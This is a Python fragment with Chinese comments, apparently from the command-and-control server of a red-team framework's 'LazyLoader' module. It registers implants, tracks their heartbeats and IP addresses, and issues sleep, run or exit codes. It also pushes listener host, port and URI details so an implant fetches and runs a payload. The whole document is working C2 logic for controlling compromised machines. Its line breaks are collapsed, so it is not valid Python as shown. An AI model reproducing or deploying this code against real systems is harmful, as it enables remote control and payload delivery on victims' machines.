def update(loader_uuid, field, data): if field == "payload": try: data = json.loads(data) except Exception as E: logger.warning(E) context = data_return(303, LazyLoader_MSG.get(303), []) return context lazyloader = Xcache.get_lazyloader_by_uuid(loader_uuid) if lazyloader is None: context = data_return(304, LazyLoader_MSG.get(304), {}) return context else: lazyloader[field] = data Xcache.set_lazyloader_by_uuid(loader_uuid, lazyloader) context = data_return(201, LazyLoader_MSG.get(201), data) return context
def list_interface(req, loader_uuid, ipaddress): """loader 对外接口""" empty_lazyloader = { "uuid": None, "ipaddress": "127.0.0.1", "last_check": 0, "interval": 60, "payload": None, "send_payload": False, # 是否向loader发送了payload "exit_loop": False, } sleep_cmd = "S" run_cmd = "R" exit_cmd = "E" null_cmd = "N" if loader_uuid is None: # 首次请求 if req == "u": loader_uuid = str(uuid.uuid1()).replace('-', "")[0:16] context = f"{loader_uuid}" else: context = f"{null_cmd}" return context else: if len(loader_uuid) != 16: # 检查uuid context = f"{null_cmd}" return context if req == "h": # 心跳请求 lazyloader = Xcache.get_lazyloader_by_uuid(loader_uuid) if lazyloader is None: # 初始化数据 empty_lazyloader["uuid"] = loader_uuid empty_lazyloader["ipaddress"] = ipaddress empty_lazyloader["last_check"] = int(time.time()) Xcache.set_lazyloader_by_uuid(loader_uuid, empty_lazyloader) context = f"{sleep_cmd}" return context else: if lazyloader.get("exit_loop") is True: # 退出循环 Xcache.del_lazyloader_by_uuid(loader_uuid) context = f"{exit_cmd}" return context new_interval = int(time.time()) - lazyloader.get( "last_check") # 获取新间隔 if new_interval < lazyloader["interval"]: lazyloader["interval"] = new_interval lazyloader["last_check"] = int(time.time()) # 更新最后心跳 lazyloader["ipaddress"] = ipaddress # 更新对端地址 if lazyloader["payload"] is not None and lazyloader[ "send_payload"] is False: # 发送payload # 获取payload配置 payload = lazyloader.get("payload") lhost = payload.get("LHOST") lport = payload.get("LPORT") luri = payload.get("LURI") lazyloader["send_payload"] = True context = f"{run_cmd}-{lhost}-{lport}-{luri}" else: context = f"{sleep_cmd}" Xcache.set_lazyloader_by_uuid(loader_uuid, lazyloader) return context else: context = f"{null_cmd}" return context